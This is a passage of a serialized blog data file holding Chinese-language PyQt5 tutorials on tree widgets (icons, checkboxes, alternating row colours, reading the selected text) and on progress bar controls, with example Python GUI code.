\n",{"type":18,"tag":297,"props":43849,"children":43850},{"class":299,"line":4555},[43851],{"type":18,"tag":297,"props":43852,"children":43853},{},[43854],{"type":24,"value":43855},"    child.setIcon(0, QtGui.QIcon('图标\u002F05.png'))\n",{"type":18,"tag":96,"props":43857,"children":43858},{},[43859],{"type":18,"tag":34,"props":43860,"children":43861},{},[43862,43866,43868,43873,43875,43881],{"type":18,"tag":105,"props":43863,"children":43864},{},[43865],{"type":24,"value":33435},{"type":24,"value":43867}," 说明\n上面代码中用到了5张图片，需要在",{"type":18,"tag":74,"props":43869,"children":43871},{"className":43870},[],[43872],{"type":24,"value":42560},{"type":24,"value":43874},"文件的同级目录中创建",{"type":18,"tag":74,"props":43876,"children":43878},{"className":43877},[],[43879],{"type":24,"value":43880},"图标",{"type":24,"value":43882},"文件夹，并将用到的5张图片提前放到该文件夹中。",{"type":18,"tag":34,"props":43884,"children":43885},{},[43886],{"type":24,"value":42487},{"type":18,"tag":34,"props":43888,"children":43889},{},[43890],{"type":18,"tag":54,"props":43891,"children":43894},{"alt":43892,"src":43893},"Pasted image 20250903180405","\u002Fimages\u002Fblog\u002Fpyqt5\u002FPasted%20image%2020250903180405.png",[],{"type":18,"tag":337,"props":43896,"children":43898},{"id":43897},"_3为节点设置复选框",[43899],{"type":24,"value":43900},"3）为节点设置复选框",{"type":18,"tag":34,"props":43902,"children":43903},{},[43904,43906,43911,43913,43919],{"type":24,"value":43905},"为节点设置复选框主要用到了",{"type":18,"tag":74,"props":43907,"children":43909},{"className":43908},[],[43910],{"type":24,"value":43031},{"type":24,"value":43912},"类中的",{"type":18,"tag":74,"props":43914,"children":43916},{"className":43915},[],[43917],{"type":24,"value":43918},"setCheckState()方法",{"type":24,"value":43920},"，该方法中可以设置选中（Qt.Checked），也可以设置未选中（Qt.Unchecked）。例如，为上述实例中的第一列设置复选框，并全部设置为选中状态，代码如下：",{"type":18,"tag":287,"props":43922,"children":43924},{"className":28710,"code":43923,"language":28712,"meta":8,"style":8},"# 为节点设置复选框，并且选中  \nchild.setCheckState(0, QtCore.Qt.Checked)\n",[43925],{"type":18,"tag":74,"props":43926,"children":43927},{"__ignoreMap":8},[43928,43936],{"type":18,"tag":297,"props":43929,"children":43930},{"class":299,"line":300},[43931],{"type":18,"tag":297,"props":43932,"children":43933},{},[43934],{"type":24,"value":43935},"# 为节点设置复选框，并且选中  \n",{"type":18,"tag":297,"props":43937,"children":43938},{"class":299,"line":657},[43939],{"type":18,"tag":297,"props":43940,"children":43941},{},[43942],{"type":24,"value":43943},"child.setCheckState(0, QtCore.Qt.Checked)\n",{"type":18,"tag":34,"props":43945,"children":43946},{},[43947],{"type":24,"value":42487},{"type":18,"tag":34,"props":43949,"children":43950},{},[43951],{"type":18,"tag":54,"props":43952,"children":43955},{"alt":43953,"src":43954},"Pasted image 20250903180724","\u002Fimages\u002Fblog\u002Fpyqt5\u002FPasted%20image%2020250903180724.png",[],{"type":18,"tag":337,"props":43957,"children":43959},{"id":43958},"_4设置隔行变色显示树节点",[43960],{"type":24,"value":43961},"4）设置隔行变色显示树节点",{"type":18,"tag":34,"props":43963,"children":43964},{},[43965,43967,43972,43974,43980,43982,43987,43989,43994,43996,44001,44002,44007],{"type":24,"value":43966},"隔行变色显示树节点需要用到",{"type":18,"tag":74,"props":43968,"children":43970},{"className":43969},[],[43971],{"type":24,"value":41455},{"type":24,"value":43973},"控件的",{"type":18,"tag":74,"props":43975,"children":43977},{"className":43976},[],[43978],{"type":24,"value":43979},"setAlternatingRowColors()方法",{"type":24,"value":43981},"，设置为",{"type":18,"tag":74,"props":43983,"children":43985},{"className":43984},[],[43986],{"type":24,"value":30505},{"type":24,"value":43988},"，",{"type":18,"tag":105,"props":43990,"children":43991},{},[43992],{"type":24,"value":43993},"表示隔行换色",{"type":24,"value":43995},"；设置为",{"type":18,"tag":74,"props":43997,"children":43999},{"className":43998},[],[44000],{"type":24,"value":30512},{"type":24,"value":43988},{"type":18,"tag":105,"props":44003,"children":44004},{},[44005],{"type":24,"value":44006},"表示统一颜色",{"type":24,"value":44008},"。例如，将上述实例中的树节点设置为隔行变色形式显示，代码如下：",{"type":18,"tag":287,"props":44010,"children":44012},{"className":28710,"code":44011,"language":28712,"meta":8,"style":8},"self.treeWidget.setAlternatingRowColors(True)  # 设置隔行变色\n",[44013],{"type":18,"tag":74,"props":44014,"children":44015},{"__ignoreMap":8},[44016],{"type":18,"tag":297,"props":44017,"children":44018},{"class":299,"line":300},[44019],{"type":18,"tag":297,"props":44020,"children":44021},{},[44022],{"type":24,"value":44011},{"type":18,"tag":34,"props":44024,"children":44025},{},[44026],{"type":24,"value":44027},"运行程序，效果如图所示，从图可以看出，树控件的奇数行为浅灰色背景，而偶数行为白色背景。",{"type":18,"tag":34,"props":44029,"children":44030},{},[44031],{"type":18,"tag":54,"props":44032,"children":44035},{"alt":44033,"src":44034},"Pasted image 20250903181008","\u002Fimages\u002Fblog\u002Fpyqt5\u002FPasted%20image%2020250903181008.png",[],{"type":18,"tag":337,"props":44037,"children":44039},{"id":44038},"_5获取选中节点的文本",[44040],{"type":24,"value":44041},"5）获取选中节点的文本",{"type":18,"tag":34,"props":44043,"children":44044},{},[44045,44047,44053,44055,44061],{"type":24,"value":44046},"在获取选中节点的文本时，首先需要使用",{"type":18,"tag":74,"props":44048,"children":44050},{"className":44049},[],[44051],{"type":24,"value":44052},"currentItem()方法",{"type":24,"value":44054},"获取当前的选中项，然后通过",{"type":18,"tag":74,"props":44056,"children":44058},{"className":44057},[],[44059],{"type":24,"value":44060},"text()方法",{"type":24,"value":44062},"获取指定列的文本。例如，在单击上述实例中的树节点时，定义一个槽函数，用来显示单击的树节点文本，代码如下：",{"type":18,"tag":287,"props":44064,"children":44066},{"className":28710,"code":44065,"language":28712,"meta":8,"style":8},"def gettreetext(self, index):  \n    item = self.treeWidget.currentItem()  # 获取当前选中项  \n    # 弹出提示框，显示选中项的文本  \n    QtWidgets.QMessageBox.information(MainWindow, '提示', '您选择的是：%s -- %s' % (item.text(0), item.text(1)),QtWidgets.QMessageBox.Ok)\n",[44067],{"type":18,"tag":74,"props":44068,"children":44069},{"__ignoreMap":8},[44070,44078,44086,44094],{"type":18,"tag":297,"props":44071,"children":44072},{"class":299,"line":300},[44073],{"type":18,"tag":297,"props":44074,"children":44075},{},[44076],{"type":24,"value":44077},"def gettreetext(self, index):  \n",{"type":18,"tag":297,"props":44079,"children":44080},{"class":299,"line":657},[44081],{"type":18,"tag":297,"props":44082,"children":44083},{},[44084],{"type":24,"value":44085},"    item = self.treeWidget.currentItem()  # 获取当前选中项  \n",{"type":18,"tag":297,"props":44087,"children":44088},{"class":299,"line":662},[44089],{"type":18,"tag":297,"props":44090,"children":44091},{},[44092],{"type":24,"value":44093},"    # 弹出提示框，显示选中项的文本  \n",{"type":18,"tag":297,"props":44095,"children":44096},{"class":299,"line":799},[44097],{"type":18,"tag":297,"props":44098,"children":44099},{},[44100],{"type":24,"value":44101},"    QtWidgets.QMessageBox.information(MainWindow, '提示', '您选择的是：%s -- %s' % (item.text(0), item.text(1)),QtWidgets.QMessageBox.Ok)\n",{"type":18,"tag":34,"props":44103,"children":44104},{},[44105,44107,44113],{"type":24,"value":44106},"为树控件的",{"type":18,"tag":74,"props":44108,"children":44110},{"className":44109},[],[44111],{"type":24,"value":44112},"clicked信号",{"type":24,"value":44114},"绑定自定义的槽函数，以便在单击树控件时发射，代码如下：",{"type":18,"tag":287,"props":44116,"children":44118},{"className":28710,"code":44117,"language":28712,"meta":8,"style":8},"# 为树控件绑定单击信号  \nself.treeWidget.clicked.connect(self.gettreetext)\n",[44119],{"type":18,"tag":74,"props":44120,"children":44121},{"__ignoreMap":8},[44122,44130],{"type":18,"tag":297,"props":44123,"children":44124},{"class":299,"line":300},[44125],{"type":18,"tag":297,"props":44126,"children":44127},{},[44128],{"type":24,"value":44129},"# 为树控件绑定单击信号  \n",{"type":18,"tag":297,"props":44131,"children":44132},{"class":299,"line":657},[44133],{"type":18,"tag":297,"props":44134,"children":44135},{},[44136],{"type":24,"value":44137},"self.treeWidget.clicked.connect(self.gettreetext)\n",{"type":18,"tag":34,"props":44139,"children":44140},{},[44141],{"type":24,"value":44142},"运行程序，单击树中的节点，即可弹出提示框，显示单击的树节点的文本，如图所示。",{"type":18,"tag":34,"props":44144,"children":44145},{},[44146],{"type":18,"tag":54,"props":44147,"children":44150},{"alt":44148,"src":44149},"Pasted image 20250903181327","\u002Fimages\u002Fblog\u002Fpyqt5\u002FPasted%20image%2020250903181327.png",[],{"type":18,"tag":651,"props":44152,"children":44153},{},[44154],{"type":24,"value":655},{"title":8,"searchDepth":657,"depth":657,"links":44156},[44157,44159],{"id":41460,"depth":657,"text":44158},"1  TreeView：树视图",{"id":42994,"depth":657,"text":44160},"2  TreeWidget：树控件","content:blog:2025-09-02-pyqt5-树控件.md","blog\u002F2025-09-02-pyqt5-树控件.md","blog\u002F2025-09-02-pyqt5-树控件",{"_path":44165,"_dir":6,"_draft":7,"_partial":7,"_locale":8,"title":44166,"description":44167,"date":44168,"tags":44169,"body":44170,"_type":672,"_id":47403,"_source":674,"_file":47404,"_stem":47405,"_extension":677},"\u002Fblog\u002F2025-09-01-pyqt5","PyQt5-进度条类控件","PyQt5进度条类控件详解：ProgressBar、Slider、Dial等进度与调节控件。","2025-09-01",[28616,41429,41430],{"type":15,"children":44171,"toc":47396},[44172,44185,44197,44200,44210,44240,44600,44618,44630,44638,44658,44666,44713,45487,45544,45549,45557,45585,45593,45599,45602,45621,45629,45637,45672,46232,46282,46303,46311,46323,46326,46362,46372,46574,46584,46662,46681,46689,46758,47307,47348,47360,47368,47376,47384,47392],{"type":18,"tag":34,"props":44173,"children":44174},{},[44175,44177,44183],{"type":24,"value":44176},"进度条类控件主要显示任务的执行进度，PyQt5中提供了进度条控件和滑块控件这两种类型的进度条类控件。其中，进度条控件是通常所看到的进度条，用",{"type":18,"tag":74,"props":44178,"children":44180},{"className":44179},[],[44181],{"type":24,"value":44182},"ProgressBar",{"type":24,"value":44184},"控件表示；而滑块控件是以刻度线的形式出现。本节将对PyQt5中的进度条类控件进行详细讲解。",{"type":18,"tag":19,"props":44186,"children":44188},{"id":44187},"_1progressbar进度条",[44189,44190,44195],{"type":24,"value":41463},{"type":18,"tag":74,"props":44191,"children":44193},{"className":44192},[],[44194],{"type":24,"value":44182},{"type":24,"value":44196},"：进度条",{"type":18,"tag":121,"props":44198,"children":44199},{},[],{"type":18,"tag":34,"props":44201,"children":44202},{},[44203,44208],{"type":18,"tag":74,"props":44204,"children":44206},{"className":44205},[],[44207],{"type":24,"value":44182},{"type":24,"value":44209},"控件表示进度条，通常在执行长时间任务时，用进度条告诉用户当前的进展情况。",{"type":18,"tag":34,"props":44211,"children":44212},{},[44213,44218,44219,44225,44227,44232,44234,44239],{"type":18,"tag":74,"props":44214,"children":44216},{"className":44215},[],[44217],{"type":24,"value":44182},{"type":24,"value":41483},{"type":18,"tag":74,"props":44220,"children":44222},{"className":44221},[],[44223],{"type":24,"value":44224},"QProgressBar",{"type":24,"value":44226},"类，它其实就是",{"type":18,"tag":74,"props":44228,"children":44230},{"className":44229},[],[44231],{"type":24,"value":44224},{"type":24,"value":44233},"类的一个对象。",{"type":18,"tag":74,"props":44235,"children":44237},{"className":44236},[],[44238],{"type":24,"value":44224},{"type":24,"value":41501},{"type":18,"tag":431,"props":44241,"children":44242},{},[44243,44263],{"type":18,"tag":435,"props":44244,"children":44245},{},[44246],{"type":18,"tag":439,"props":44247,"children":44248},{},[44249,44256],{"type":18,"tag":443,"props":44250,"children":44251},{},[44252],{"type":18,"tag":105,"props":44253,"children":44254},{},[44255],{"type":24,"value":41518},{"type":18,"tag":443,"props":44257,"children":44258},{},[44259],{"type":18,"tag":105,"props":44260,"children":44261},{},[44262],{"type":24,"value":41526},{"type":18,"tag":459,"props":44264,"children":44265},{},[44266,44279,44292,44305,44318,44355,44440,44477,44506,44519,44548,44561,44574,44587],{"type":18,"tag":439,"props":44267,"children":44268},{},[44269,44274],{"type":18,"tag":466,"props":44270,"children":44271},{},[44272],{"type":24,"value":44273},"setMinimum()",{"type":18,"tag":466,"props":44275,"children":44276},{},[44277],{"type":24,"value":44278},"设置进度条的最小值，默认值为0",{"type":18,"tag":439,"props":44280,"children":44281},{},[44282,44287],{"type":18,"tag":466,"props":44283,"children":44284},{},[44285],{"type":24,"value":44286},"setMaximum()",{"type":18,"tag":466,"props":44288,"children":44289},{},[44290],{"type":24,"value":44291},"设置进度条的最大值，默认值为99",{"type":18,"tag":439,"props":44293,"children":44294},{},[44295,44300],{"type":18,"tag":466,"props":44296,"children":44297},{},[44298],{"type":24,"value":44299},"setRange()",{"type":18,"tag":466,"props":44301,"children":44302},{},[44303],{"type":24,"value":44304},"设置进度条的取值范围，相当于setMinimum()和setMaximum()方法的结合",{"type":18,"tag":439,"props":44306,"children":44307},{},[44308,44313],{"type":18,"tag":466,"props":44309,"children":44310},{},[44311],{"type":24,"value":44312},"setValue()",{"type":18,"tag":466,"props":44314,"children":44315},{},[44316],{"type":24,"value":44317},"设置进度条的当前值",{"type":18,"tag":439,"props":44319,"children":44320},{},[44321,44326],{"type":18,"tag":466,"props":44322,"children":44323},{},[44324],{"type":24,"value":44325},"setFormat()",{"type":18,"tag":466,"props":44327,"children":44328},{},[44329,44331,44334,44337,44339,44342,44345,44347,44350,44353],{"type":24,"value":44330},"设置进度条的文字显示格式，有以下3种格式：",{"type":18,"tag":6882,"props":44332,"children":44333},{},[],{"type":18,"tag":6882,"props":44335,"children":44336},{},[],{"type":24,"value":44338},"◆ %p%：显示完成的百分比，默认格式",{"type":18,"tag":6882,"props":44340,"children":44341},{},[],{"type":18,"tag":6882,"props":44343,"children":44344},{},[],{"type":24,"value":44346},"◆ %v：显示当前的进度值",{"type":18,"tag":6882,"props":44348,"children":44349},{},[],{"type":18,"tag":6882,"props":44351,"children":44352},{},[],{"type":24,"value":44354},"◆ %m：显示总的步长值",{"type":18,"tag":439,"props":44356,"children":44357},{},[44358,44363],{"type":18,"tag":466,"props":44359,"children":44360},{},[44361],{"type":24,"value":44362},"setAlignment()",{"type":18,"tag":466,"props":44364,"children":44365},{},[44366,44368,44371,44374,44376,44379,44382,44384,44387,44390,44392,44395,44398,44400,44403,44406,44408,44411,44414,44416,44419,44422,44424,44427,44430,44432,44435,44438],{"type":24,"value":44367},"设置对齐方式，有水平和垂直两种，分别如下：",{"type":18,"tag":6882,"props":44369,"children":44370},{},[],{"type":18,"tag":6882,"props":44372,"children":44373},{},[],{"type":24,"value":44375},"◆ 水平对齐方式：",{"type":18,"tag":6882,"props":44377,"children":44378},{},[],{"type":18,"tag":6882,"props":44380,"children":44381},{},[],{"type":24,"value":44383},"■  Qt.AlignLeft：左对齐",{"type":18,"tag":6882,"props":44385,"children":44386},{},[],{"type":18,"tag":6882,"props":44388,"children":44389},{},[],{"type":24,"value":44391},"■  Qt.AlignHCenter：水平居中对齐",{"type":18,"tag":6882,"props":44393,"children":44394},{},[],{"type":18,"tag":6882,"props":44396,"children":44397},{},[],{"type":24,"value":44399},"■  Qt.AlignRight：右对齐",{"type":18,"tag":6882,"props":44401,"children":44402},{},[],{"type":18,"tag":6882,"props":44404,"children":44405},{},[],{"type":24,"value":44407},"■  Qt.AlignJustify：两端对齐",{"type":18,"tag":6882,"props":44409,"children":44410},{},[],{"type":18,"tag":6882,"props":44412,"children":44413},{},[],{"type":24,"value":44415},"◆ 垂直对齐方式：",{"type":18,"tag":6882,"props":44417,"children":44418},{},[],{"type":18,"tag":6882,"props":44420,"children":44421},{},[],{"type":24,"value":44423},"■  Qt.AlignTop：顶部对齐",{"type":18,"tag":6882,"props":44425,"children":44426},{},[],{"type":18,"tag":6882,"props":44428,"children":44429},{},[],{"type":24,"value":44431},"■  Qt.AlignVCenter：垂直居中",{"type":18,"tag":6882,"props":44433,"children":44434},{},[],{"type":18,"tag":6882,"props":44436,"children":44437},{},[],{"type":24,"value":44439},"■  Qt.AlignBottom：底部对齐",{"type":18,"tag":439,"props":44441,"children":44442},{},[44443,44448],{"type":18,"tag":466,"props":44444,"children":44445},{},[44446],{"type":24,"value":44447},"setLayoutDirection()",{"type":18,"tag":466,"props":44449,"children":44450},{},[44451,44453,44456,44459,44461,44464,44467,44469,44472,44475],{"type":24,"value":44452},"设置进度条的布局方向，支持以下3个方向值：",{"type":18,"tag":6882,"props":44454,"children":44455},{},[],{"type":18,"tag":6882,"props":44457,"children":44458},{},[],{"type":24,"value":44460},"◆ Qt.LeftToRight：从左至右",{"type":18,"tag":6882,"props":44462,"children":44463},{},[],{"type":18,"tag":6882,"props":44465,"children":44466},{},[],{"type":24,"value":44468},"◆ Qt.RightToLeft：从右至左",{"type":18,"tag":6882,"props":44470,"children":44471},{},[],{"type":18,"tag":6882,"props":44473,"children":44474},{},[],{"type":24,"value":44476},"◆ Qt.LayoutDirectionAuto：跟随布局方向自动调整",{"type":18,"tag":439,"props":44478,"children":44479},{},[44480,44485],{"type":18,"tag":466,"props":44481,"children":44482},{},[44483],{"type":24,"value":44484},"setOrientation()",{"type":18,"tag":466,"props":44486,"children":44487},{},[44488,44490,44493,44496,44498,44501,44504],{"type":24,"value":44489},"设置进度条的显示方向，有以下两个方向：",{"type":18,"tag":6882,"props":44491,"children":44492},{},[],{"type":18,"tag":6882,"props":44494,"children":44495},{},[],{"type":24,"value":44497},"◆ Qt.Horizontal：水平方向",{"type":18,"tag":6882,"props":44499,"children":44500},{},[],{"type":18,"tag":6882,"props":44502,"children":44503},{},[],{"type":24,"value":44505},"◆ Qt.Vertical：垂直方向",{"type":18,"tag":439,"props":44507,"children":44508},{},[44509,44514],{"type":18,"tag":466,"props":44510,"children":44511},{},[44512],{"type":24,"value":44513},"setInvertedAppearance()",{"type":18,"tag":466,"props":44515,"children":44516},{},[44517],{"type":24,"value":44518},"设置进度条是否以反方向显示进度",{"type":18,"tag":439,"props":44520,"children":44521},{},[44522,44527],{"type":18,"tag":466,"props":44523,"children":44524},{},[44525],{"type":24,"value":44526},"setTextDirection()",{"type":18,"tag":466,"props":44528,"children":44529},{},[44530,44532,44535,44538,44540,44543,44546],{"type":24,"value":44531},"设置进度条的文本显示方向，有以下两个方向：",{"type":18,"tag":6882,"props":44533,"children":44534},{},[],{"type":18,"tag":6882,"props":44536,"children":44537},{},[],{"type":24,"value":44539},"◆ QProgressBar.TopToBottom：从上到下",{"type":18,"tag":6882,"props":44541,"children":44542},{},[],{"type":18,"tag":6882,"props":44544,"children":44545},{},[],{"type":24,"value":44547},"◆ QProgressBar.BottomToTop：从下到上",{"type":18,"tag":439,"props":44549,"children":44550},{},[44551,44556],{"type":18,"tag":466,"props":44552,"children":44553},{},[44554],{"type":24,"value":44555},"setProperty()",{"type":18,"tag":466,"props":44557,"children":44558},{},[44559],{"type":24,"value":44560},"对进度条的属性进行设置，可以是任何属性，比如，self.progressBar.setProperty(\"value\", 24)",{"type":18,"tag":439,"props":44562,"children":44563},{},[44564,44569],{"type":18,"tag":466,"props":44565,"children":44566},{},[44567],{"type":24,"value":44568},"minimum()",{"type":18,"tag":466,"props":44570,"children":44571},{},[44572],{"type":24,"value":44573},"获取进度条的最小值",{"type":18,"tag":439,"props":44575,"children":44576},{},[44577,44582],{"type":18,"tag":466,"props":44578,"children":44579},{},[44580],{"type":24,"value":44581},"maximum()",{"type":18,"tag":466,"props":44583,"children":44584},{},[44585],{"type":24,"value":44586},"获取进度条的最大值",{"type":18,"tag":439,"props":44588,"children":44589},{},[44590,44595],{"type":18,"tag":466,"props":44591,"children":44592},{},[44593],{"type":24,"value":44594},"value()",{"type":18,"tag":466,"props":44596,"children":44597},{},[44598],{"type":24,"value":44599},"获取进度条的当前值",{"type":18,"tag":34,"props":44601,"children":44602},{},[44603,44608,44610,44616],{"type":18,"tag":74,"props":44604,"children":44606},{"className":44605},[],[44607],{"type":24,"value":44182},{"type":24,"value":44609},"控件中最常用的信号是",{"type":18,"tag":74,"props":44611,"children":44613},{"className":44612},[],[44614],{"type":24,"value":44615},"valueChanged",{"type":24,"value":44617},"，在进度条的值发生改变时发射。",{"type":18,"tag":34,"props":44619,"children":44620},{},[44621,44623,44628],{"type":24,"value":44622},"通过对",{"type":18,"tag":74,"props":44624,"children":44626},{"className":44625},[],[44627],{"type":24,"value":44182},{"type":24,"value":44629},"控件的显示方向、对齐方式、布局方向等进行设置，该控件可以支持4种水平进度条显示方式和两种垂直进度条显示方式，它们的效果如图所示，用户可以根据自身需要选择适合自己的显示方式。",{"type":18,"tag":34,"props":44631,"children":44632},{},[44633],{"type":18,"tag":54,"props":44634,"children":44637},{"alt":44635,"src":44636},"Pasted image 20250901205656","\u002Fimages\u002Fblog\u002Fpyqt5\u002FPasted%20image%2020250901205656.png",[],{"type":18,"tag":96,"props":44639,"children":44640},{},[44641],{"type":18,"tag":34,"props":44642,"children":44643},{},[44644,44649,44651,44656],{"type":18,"tag":105,"props":44645,"children":44646},{},[44647],{"type":24,"value":44648},"Tip:",{"type":24,"value":44650}," 多学两招\n如果最小值和最大值都设置为",{"type":18,"tag":74,"props":44652,"children":44654},{"className":44653},[],[44655],{"type":24,"value":18463},{"type":24,"value":44657},"，那么进度条会显示为一个不断循环滚动的繁忙进度，而不是步骤中显示的百分比。",{"type":18,"tag":34,"props":44659,"children":44660},{},[44661],{"type":18,"tag":105,"props":44662,"children":44663},{},[44664],{"type":24,"value":44665},"实例 模拟一个跑马灯效果",{"type":18,"tag":34,"props":44667,"children":44668},{},[44669,44671,44676,44678,44684,44686,44691,44692,44697,44699,44704,44706,44711],{"type":24,"value":44670},"打开Qt Designer设计器，创建一个窗口，并向窗口中添加4个",{"type":18,"tag":74,"props":44672,"children":44674},{"className":44673},[],[44675],{"type":24,"value":44182},{"type":24,"value":44677},"控件和一个",{"type":18,"tag":74,"props":44679,"children":44681},{"className":44680},[],[44682],{"type":24,"value":44683},"PushButton",{"type":24,"value":44685},"控件，然后将该窗口转换为",{"type":18,"tag":74,"props":44687,"children":44689},{"className":44688},[],[44690],{"type":24,"value":42560},{"type":24,"value":43376},{"type":18,"tag":74,"props":44693,"children":44695},{"className":44694},[],[44696],{"type":24,"value":42560},{"type":24,"value":44698},"文件中对进度条和",{"type":18,"tag":74,"props":44700,"children":44702},{"className":44701},[],[44703],{"type":24,"value":44683},{"type":24,"value":44705},"按钮的",{"type":18,"tag":74,"props":44707,"children":44709},{"className":44708},[],[44710],{"type":24,"value":44112},{"type":24,"value":44712},"进行绑定，代码如下：",{"type":18,"tag":287,"props":44714,"children":44716},{"className":28710,"code":44715,"language":28712,"meta":8,"style":8},"from PyQt5 import QtCore, QtGui, QtWidgets  \n  \nclass Ui_MainWindow(object):  \n    def setupUi(self, MainWindow):  \n        MainWindow.setObjectName(\"MainWindow\")  \n        MainWindow.resize(305, 259)  \n        self.centralwidget = QtWidgets.QWidget(MainWindow)  \n        self.centralwidget.setObjectName(\"centralwidget\")  \n        self.progressBar = QtWidgets.QProgressBar(self.centralwidget)  \n        self.progressBar.setGeometry(QtCore.QRect(50, 10, 201, 31))  \n        self.progressBar.setLayoutDirection(QtCore.Qt.LeftToRight)  \n        self.progressBar.setProperty(\"value\", -1)  \n        self.progressBar.setAlignment(QtCore.Qt.AlignHCenter|QtCore.Qt.AlignTop)  \n        self.progressBar.setTextVisible(True)  \n        self.progressBar.setOrientation(QtCore.Qt.Horizontal)  \n        self.progressBar.setTextDirection(QtWidgets.QProgressBar.TopToBottom)  \n        self.progressBar.setFormat(\"\")  \n        self.progressBar.setObjectName(\"progressBar\")  \n        self.progressBar_2 = QtWidgets.QProgressBar(self.centralwidget)  \n        self.progressBar_2.setGeometry(QtCore.QRect(50, 180, 201, 31))  \n        self.progressBar_2.setLayoutDirection(QtCore.Qt.RightToLeft)  \n        self.progressBar_2.setProperty(\"value\", -1)  \n        self.progressBar_2.setAlignment(QtCore.Qt.AlignBottom|QtCore.Qt.AlignHCenter)  \n        self.progressBar_2.setTextVisible(True)  \n        self.progressBar_2.setOrientation(QtCore.Qt.Horizontal)  \n        self.progressBar_2.setTextDirection(QtWidgets.QProgressBar.TopToBottom)  \n        self.progressBar_2.setObjectName(\"progressBar_2\")  \n        self.progressBar_3 = QtWidgets.QProgressBar(self.centralwidget)  \n        self.progressBar_3.setGeometry(QtCore.QRect(20, 10, 31, 201))  \n        self.progressBar_3.setLayoutDirection(QtCore.Qt.LeftToRight)  \n        self.progressBar_3.setProperty(\"value\", -1)  \n        self.progressBar_3.setAlignment(QtCore.Qt.AlignLeading|QtCore.Qt.AlignLeft|QtCore.Qt.AlignTop)  \n        self.progressBar_3.setTextVisible(True)  \n        self.progressBar_3.setOrientation(QtCore.Qt.Vertical)  \n        self.progressBar_3.setTextDirection(QtWidgets.QProgressBar.TopToBottom)  \n        self.progressBar_3.setObjectName(\"progressBar_3\")  \n        self.progressBar_1 = QtWidgets.QProgressBar(self.centralwidget)  \n        self.progressBar_1.setGeometry(QtCore.QRect(250, 10, 31, 201))  \n        self.progressBar_1.setLayoutDirection(QtCore.Qt.LeftToRight)  \n        self.progressBar_1.setProperty(\"value\", -1)  \n        self.progressBar_1.setAlignment(QtCore.Qt.AlignLeading|QtCore.Qt.AlignLeft|QtCore.Qt.AlignTop)  \n        self.progressBar_1.setTextVisible(True)  \n        self.progressBar_1.setOrientation(QtCore.Qt.Vertical)  \n        self.progressBar_1.setTextDirection(QtWidgets.QProgressBar.TopToBottom)  \n        self.progressBar_1.setObjectName(\"progressBar_1\")  \n        self.pushButton = QtWidgets.QPushButton(self.centralwidget)  \n        self.pushButton.setGeometry(QtCore.QRect(90, 220, 101, 31))  \n        self.pushButton.setObjectName(\"pushButton\")  \n        MainWindow.setCentralWidget(self.centralwidget)  \n        self.retranslateUi(MainWindow)  \n        QtCore.QMetaObject.connectSlotsByName(MainWindow)  \n        self.timer = QtCore.QBasicTimer()             # 创建计时器对象  \n        # 为按钮绑定单击信号  \n        self.pushButton.clicked.connect(self.running)  \n  \n    # 控制进度条的滚动效果  \n    def running(self):  \n        if self.timer.isActive():                 # 判断计时器是否开启  \n            self.timer.stop()                     # 停止计时器  \n            self.pushButton.setText('开始')            # 设置按钮的文本  \n            # 设置4个进度条的最大值为100  \n            self.progressBar.setMaximum(100)  \n            self.progressBar_1.setMaximum(100)  \n            self.progressBar_2.setMaximum(100)  \n            self.progressBar_3.setMaximum(100)  \n        else:  \n            self.timer.start(100,MainWindow)             # 启动计时器  \n            self.pushButton.setText('停止')             # 设置按钮的文本  \n            # 将4个进度条的最大值和最小值都设置为0，以便显示循环滚动的效果  \n            self.progressBar.setMinimum(0)  \n            self.progressBar.setMaximum(0)  \n            self.progressBar_1.setInvertedAppearance(True)     # 设置进度反方向显示  \n            self.progressBar_1.setMinimum(0)  \n            self.progressBar_1.setMaximum(0)  \n            self.progressBar_2.setMinimum(0)  \n            self.progressBar_2.setMaximum(0)  \n            self.progressBar_3.setMinimum(0)  \n            self.progressBar_3.setMaximum(0)  \n  \n    def retranslateUi(self, MainWindow):  \n        _translate = QtCore.QCoreApplication.translate  \n        MainWindow.setWindowTitle(_translate(\"MainWindow\", \"跑马灯效果\"))  \n        self.pushButton.setText(_translate(\"MainWindow\", \"开始\"))  \n  \nimport sys  \n# 程序入口，程序从此处启动PyQt设计的窗体  \nif __name__ == '__main__':  \n   app = QtWidgets.QApplication(sys.argv)  \n   MainWindow = QtWidgets.QMainWindow() # 创建窗体对象  \n   ui = Ui_MainWindow()           # 创建PyQt设计的窗体对象  \n   ui.setupUi(MainWindow)           # 调用PyQt窗体的方法对窗体对象进行初始化设置  \n   MainWindow.show()               # 显示窗体  \n   sys.exit(app.exec_())           # 程序关闭时退出进程\n",[44717],{"type":18,"tag":74,"props":44718,"children":44719},{"__ignoreMap":8},[44720,44727,44734,44741,44748,44755,44763,44770,44777,44785,44793,44801,44809,44817,44825,44833,44841,44849,44857,44865,44873,44881,44889,44897,44905,44913,44921,44929,44937,44945,44953,44961,44969,44977,44985,44993,45001,45009,45017,45025,45033,45041,45049,45057,45065,45073,45081,45089,45097,45104,45111,45118,45127,45136,45145,45153,45162,45171,45180,45189,45198,45207,45216,45225,45234,45243,45252,45261,45270,45279,45288,45297,45306,45315,45324,45333,45342,45351,45360,45368,45376,45384,45393,45402,45410,45418,45426,45434,45442,45451,45460,45469,45478],{"type":18,"tag":297,"props":44721,"children":44722},{"class":299,"line":300},[44723],{"type":18,"tag":297,"props":44724,"children":44725},{},[44726],{"type":24,"value":42107},{"type":18,"tag":297,"props":44728,"children":44729},{"class":299,"line":657},[44730],{"type":18,"tag":297,"props":44731,"children":44732},{},[44733],{"type":24,"value":36783},{"type":18,"tag":297,"props":44735,"children":44736},{"class":299,"line":662},[44737],{"type":18,"tag":297,"props":44738,"children":44739},{},[44740],{"type":24,"value":42122},{"type":18,"tag":297,"props":44742,"children":44743},{"class":299,"line":799},[44744],{"type":18,"tag":297,"props":44745,"children":44746},{},[44747],{"type":24,"value":42137},{"type":18,"tag":297,"props":44749,"children":44750},{"class":299,"line":808},[44751],{"type":18,"tag":297,"props":44752,"children":44753},{},[44754],{"type":24,"value":42145},{"type":18,"tag":297,"props":44756,"children":44757},{"class":299,"line":817},[44758],{"type":18,"tag":297,"props":44759,"children":44760},{},[44761],{"type":24,"value":44762},"        MainWindow.resize(305, 259)  